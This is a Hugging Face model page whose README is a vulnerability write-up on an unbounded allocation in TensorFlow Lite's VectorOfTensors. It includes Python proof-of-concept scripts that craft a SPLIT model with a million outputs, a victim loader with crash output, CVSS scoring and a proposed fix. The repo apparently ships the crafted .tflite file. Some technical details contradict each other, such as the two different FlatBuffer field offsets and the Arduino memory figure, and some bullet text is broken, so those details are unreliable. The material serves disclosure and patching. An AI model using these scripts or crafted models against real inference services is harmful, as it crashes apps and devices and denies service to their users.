Downloads · 30 days
4
8% of all-time downloads
Rodion111/tflite-vectordos-poc
tflite-vectordos-poc is a machine learning model from Rodion111. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Downloads · 30 days
4
8% of all-time downloads
All-time downloads
53
Public
Repo size
800 KB
Likes
0
Public
Click a slice to open those files.
.tflite800 KB · 97%
From the Hugging Face model README
| Field | Details |
|---|---|
| Project | TensorFlow Lite (tensorflow/tensorflow) |
| Affected File | tensorflow/lite/kernels/internal/portable_tensor.h |
| Affected Class | VectorOfTensors (constructor) |
| File Format | TFLite FlatBuffer (.tflite) |
| Affected Versions | TensorFlow Lite — multiple releases with VectorOfTensors |
| CWE | CWE-770: Allocation of Resources Without Limits or Throttling |
| CVSS v3.1 Score | 7.5 (High) |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
The VectorOfTensors class constructor in tensorflow/lite/kernels/internal/portable_tensor.h calls data_.resize(num_tensors) where num_tensors is read directly from the TfLiteIntArray.size field of a FlatBuffer-parsed model. There is no upper bound on this value.
An attacker can craft a TFLite FlatBuffer with a SPLIT (or similar) operator whose output count is set to an arbitrarily large value (e.g., 1,000,000 or INT_MAX). When the model is loaded and the operator kernel is initialized, the VectorOfTensors constructor allocates a std::vector<TfLiteTensor*> with that many pointers, consuming potentially gigabytes of memory and causing an Out-of-Memory crash.
On resource-constrained devices — the primary deployment target for TFLite — even a moderately large value (e.g., 100,000 outputs on a device with 2 GB RAM) can crash the application entirely. This is especially impactful on mobile apps, IoT firmware, and embedded inference engines where recovering from a crash requires a full app restart or device reboot.
File: tensorflow/lite/kernels/internal/portable_tensor.h
// A class that provides access to a flattened view of a list of tensors.
// Used by kernel implementations to iterate over input/output tensor sets.
// Instantiated during AllocateTensors() for ops including SPLIT, SPLIT_V, UNPACK.
class VectorOfTensors {
public:
// Build from a list of indices into the context's tensor array.
VectorOfTensors(const TfLiteContext& context,
const TfLiteIntArray& indexes) {
int num_tensors = indexes.size; // ← FROM FLATBUFFER — COMPLETELY UNTRUSTED
data_.resize(num_tensors); // ← NO UPPER BOUND CHECK
// With num_tensors = 1,000,000:
// 8 MB of pointers on 64-bit.
// With num_tensors = INT_MAX:
// 16 GB allocation attempt → OOM kill.
for (int i = 0; i < num_tensors; ++i) {
data_[i] = &context.tensors[indexes.data[i]];
// SECONDARY: no bounds check on indexes.data[i] vs context.tensors_size!
}
}
TfLiteTensor** data() { return data_.data(); }
int size() const { return data_.size(); }
private:
std::vector<TfLiteTensor*> data_;
};
indexes.size is the count of tensor indices in a TfLiteIntArray, populated from the FlatBuffer model's operator outputs array. The FlatBuffer schema enforces no maximum on array length, and neither the model parser nor the interpreter validates the value before constructing VectorOfTensors.
std::vector::resize() attempts to allocate num_tensors * sizeof(TfLiteTensor*) bytes (8 bytes per pointer on 64-bit). At 1,000,000 outputs this is 8 MB of pointers alone; combined with downstream tensor metadata access, the true allocation is significantly larger. On systems where std::bad_alloc is not caught (common in embedded TFLite deployments without exception support), the process terminates immediately.
The loop body &context.tensors[indexes.data[i]] performs no bounds check on indexes.data[i] against context.tensors_size. If indexes.data[i] exceeds the number of allocated tensors, the result is an out-of-bounds read — undefined behavior that may lead to heap corruption or information disclosure. This secondary issue is separate from the OOM DoS but shares the same root cause (no validation of FlatBuffer-derived indices).
Other TFLite kernel helpers that read user-controlled array sizes apply explicit bounds validation. The following comparisons demonstrate that VectorOfTensors is an anomaly:
// tensorflow/lite/c/common.c — SAFE: enforces max on TfLiteIntArray creation:
TfLiteIntArray* TfLiteIntArrayCreate(int size) {
if (size < 0 || size > kMaxTfLiteIntArraySize) {
return nullptr; // ← explicit maximum enforcement
}
// ...
}
// tensorflow/lite/kernels/reshape.cc — SAFE: validates dimensions count:
TF_LITE_ENSURE(context, num_dimensions <= kMaxTensorDims);
// tensorflow/lite/kernels/concatenation.cc — SAFE: validates input count:
const int num_inputs = node->inputs->size;
TF_LITE_ENSURE(context, num_inputs <= kMaxConcatInputs);
VectorOfTensors is the sole component in this class of helpers that applies no equivalent check, despite being used by multiple kernel implementations (SPLIT, SPLIT_V, TopK, and others) that all process attacker-controlled output counts.
pip install tensorflow tflite-runtime
#!/usr/bin/env python3
"""
PoC: TFLite VectorOfTensors DoS
Generates a .tflite model with SPLIT declaring 1,000,000 outputs.
"""
import tensorflow as tf
NUM_OUTPUTS = 1_000_000
# Build a SPLIT model with NUM_OUTPUTS output tensors
inp = tf.keras.Input(shape=(NUM_OUTPUTS,), name='input')
outputs = tf.split(inp, NUM_OUTPUTS, axis=-1) # 1M outputs
model = tf.keras.Model(inputs=inp, outputs=outputs)
converter = tf.lite.TFLiteConverter.from_keras_model(model)
tflite_bytes = converter.convert()
with open('malicious_split.tflite', 'wb') as f:
f.write(tflite_bytes)
print(f"Written: malicious_split.tflite ({len(tflite_bytes):,} bytes)")
print(f"SPLIT operator declares {NUM_OUTPUTS:,} output tensors")
print(f"Expected VectorOfTensors allocation: {NUM_OUTPUTS * 8 / 1024**2:.1f}MB (pointers only)")
#!/usr/bin/env python3
"""
Alternative: manipulate FlatBuffer binary to set outputs array size to 1M.
Key FlatBuffer field: Operator.outputs (field offset 6, type [int]).
"""
# The FlatBuffer schema for TFLite Operator table:
# table Operator {
# opcode_index: uint (offset 4)
# inputs: [int] (offset 6)
# outputs: [int] (offset 8) ← SET LENGTH TO 1,000,000
# builtin_options_type: BuiltinOptions (offset 10)
# ...
# }
#
# Patch the 'size' field of the outputs FlatBuffer vector to 1_000_000
# in any valid .tflite that contains a SPLIT operator.
import struct
def patch_flatbuffer_outputs_size(tflite_path, new_size):
"""Patch the first outputs vector size found in the binary."""
with open(tflite_path, 'rb') as f:
data = bytearray(f.read())
# Simplified: find the outputs vector length field and patch it
# (In practice: use flatbuffers Python library to rebuild the table properly)
new_size_bytes = struct.pack('<I', new_size)
print(f"Patching outputs size to {new_size:,} ({new_size_bytes.hex()})")
# ... (full implementation uses flatbuffers.Builder to rebuild Operator table)
print("Direct FlatBuffer patching: sets VectorOfTensors num_tensors = 1,000,000")
#!/usr/bin/env python3
"""
Victim loads the malicious model. AllocateTensors() triggers
VectorOfTensors constructor which calls data_.resize(1_000_000).
"""
import tflite_runtime.interpreter as tflite
print("Loading model...")
interp = tflite.Interpreter(model_path='malicious_split.tflite')
print("Calling AllocateTensors() — VectorOfTensors constructor runs here...")
try:
interp.allocate_tensors() # ← OOM crash occurs inside this call
print("[UNEXPECTED] Allocation succeeded — model may have been modified")
except MemoryError as e:
print(f"[CRASH] MemoryError: {e}")
except Exception as e:
print(f"[CRASH] {type(e).__name__}: {e}")
Loading model...
Calling AllocateTensors() — VectorOfTensors constructor runs here...
[CRASH] MemoryError: std::bad_alloc
On Android:
E/TfLiteJni: AllocateTensors failed.
E/AndroidRuntime: FATAL EXCEPTION: inference_thread
java.lang.OutOfMemoryError: Failed to allocate a 8000000 byte allocation
with 4194304 free bytes and 4MB until OOM
| Device | RAM | Outputs for OOM | Crafted file size |
|---|---|---|---|
| Arduino Nano 33 BLE | 256 KB | ~32 outputs | ~200 bytes |
| Raspberry Pi Zero | 512 MB | ~65,000 outputs | ~260 KB |
| Budget Android (2 GB) | 2 GB | ~250,000 outputs | ~1 MB |
| Raspberry Pi 4 | 4 GB | ~500,000 outputs | ~2 MB |
| Server (64 GB) | 64 GB | ~8,000,000 outputs | ~32 MB |
Denial of Service (OOM Crash) — High
.tflite model served via OTA update or model hub crashes the hosting app immediately upon AllocateTensors(). On Android this is an unrecoverable OutOfMemoryError; the user must manually restart the app..tflite models are vulnerable to DoS: one malicious upload crashes the inference worker, denying service to all users.indexes.data[i]): may yield information disclosure or heap corruption, potentially escalating this finding beyond DoS.Score: 7.5 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Network (N) | Malicious model delivered via OTA update, model hub download, or inference API |
| Attack Complexity (AC) | Low (L) | FlatBuffer field manipulation is straightforward; no special conditions or timing |
| Privileges Required (PR) | None (N) | Model upload/distribution requires no elevated privileges |
| User Interaction (UI) | None (N) | Device-side model loading is automatic (OTA) or routine (inference call) |
| Scope (S) | Unchanged (U) | Impact within the TFLite process; OS OOM killer may affect sibling processes |
| Confidentiality (C) | None (N) | Primary finding is DoS; secondary OOB read scored separately if confirmed |
| Integrity (I) | None (N) | No data modification from this specific crash vector |
| Availability (A) | High (H) | Application crash / OOM kill; complete loss of availability for the hosting app |
Note: If the secondary OOB read (missing indexes.data[i] bounds check) is confirmed exploitable for information disclosure, Confidentiality would become High, raising the score to 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H).
// tensorflow/lite/kernels/internal/portable_tensor.h
// Maximum reasonable number of outputs for any single TFLite operator.
// Consistent with kMaxTfLiteIntArraySize and typical hardware limits.
static constexpr int kMaxTensorsPerOp = 4096;
class VectorOfTensors {
public:
VectorOfTensors(const TfLiteContext& context,
const TfLiteIntArray& indexes) {
int num_tensors = indexes.size;
// FIX 1: Validate num_tensors before allocation
if (num_tensors < 0 || num_tensors > kMaxTensorsPerOp) {
context.ReportError(
&context,
"VectorOfTensors: operator output count %d exceeds maximum %d. "
"Model may be malformed or malicious.",
num_tensors, kMaxTensorsPerOp);
// data_ remains empty; callers must check size() before use
return;
}
data_.resize(num_tensors);
for (int i = 0; i < num_tensors; ++i) {
// FIX 2: Bounds check on tensor index before dereferencing
int tensor_index = indexes.data[i];
if (tensor_index < 0 || tensor_index >= context.tensors_size) {
context.ReportError(
&context,
"VectorOfTensors: tensor index %d out of bounds (tensors_size=%d) "
"at outputs[%d]",
tensor_index, context.tensors_size, i);
data_.clear();
return;
}
data_[i] = &context.tensors[tensor_index];
}
}
TfLiteTensor** data() { return data_.data(); }
int size() const { return static_cast<int>(data_.size()); }
private:
std::vector<TfLiteTensor*> data_;
};
// tensorflow/lite/core/subgraph.cc — validate output count during model parsing
TfLiteStatus Subgraph::AddNodeWithParameters(
const std::vector<int>& inputs, const std::vector<int>& outputs, ...) {
// Validate output count before constructing any tensor structures
if (static_cast<int>(outputs.size()) > kMaxTensorsPerOp) {
ReportError(
"Operator has %zu outputs, exceeding maximum of %d. "
"Refusing to load model.",
outputs.size(), kMaxTensorsPerOp);
return kTfLiteError;
}
// ... existing code continues
}
AllocateTensors() with libFuzzer or AFL++ targeting all operator kernel constructors to discover additional unbounded allocations.TfLiteIntArray.size reads across tensorflow/lite/kernels/ — apply the same validation pattern wherever the value originates from untrusted FlatBuffer data.max_length annotation or validator) for operator output array fields.